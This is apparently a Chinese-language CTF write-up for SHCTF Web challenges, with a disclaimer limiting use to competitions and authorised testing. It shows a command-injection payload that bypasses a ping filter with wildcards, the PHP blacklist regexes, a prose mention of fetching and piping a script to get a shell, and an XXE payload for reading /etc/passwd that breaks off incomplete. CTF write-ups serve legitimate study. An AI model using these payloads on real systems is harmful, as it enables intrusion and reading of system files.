SHCTF 第三届 Web 赛题部分解题复盘
安全声明:本文内容仅供 CTF 竞赛、授权渗透测试及学术研究使用,严禁用于非法入侵或破坏系统。
本次比赛涉及多种语言环境下的漏洞利用,涵盖命令执行、反序列化、XXE、WAF 绕过及逻辑竞争等多个方向。以下是部分题目的实战思路与 Payload 构造过程。
[阶段 1] ez-ping
题目提供了一个简单的 Ping 功能,但 flag 关键字被拦截。通过通配符和文件读取命令的变体可以绕过。
靶机展示

Payload 构造
直接 cat /flag 会被拦截,尝试使用 tail 配合通配符:
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
成功获取 Flag:SHCTF{94c6789c-ea67-4271-b3b4-61271ac45d7c}。
源码过滤 + Getshell
查看 ping.php 源码发现白名单允许字母数字及少量符号,黑名单包含 cat|tac|flag|*。虽然无法直接拼接反弹 Shell,但可以通过 curl 或 wget 下载脚本并管道执行。
// ping.php 关键逻辑
if(!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)){ ... }
if(!preg_match('/cat|tac|flag|\*/',$cmd)){ ... }
[阶段 2] Mini Blog
题干提示'完全安全',实际是 Python 搭建的博客,数据以 XML 格式提交。
攻击思路
排除 SSTI 后,发现 XML 实体注入(XXE)点。通过构造 XXE Payload 读取 /etc/passwd 回显路径信息。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM > ]>
123


